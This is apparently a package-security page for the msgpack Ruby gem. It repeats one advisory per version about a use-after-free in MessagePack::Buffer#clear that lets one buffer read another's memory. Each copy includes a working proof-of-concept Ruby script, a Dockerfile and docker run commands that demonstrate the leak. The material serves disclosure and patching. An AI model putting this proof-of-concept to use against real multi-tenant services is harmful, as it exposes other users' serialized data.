    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 27, 2021

1.4.1 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 27, 2021

1.4.0.pre1 pre

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 08, 2020

1.3.3 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 05, 2020

1.3.2 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 04, 2020

1.3.1 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 05, 2019

1.3.0 minor

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
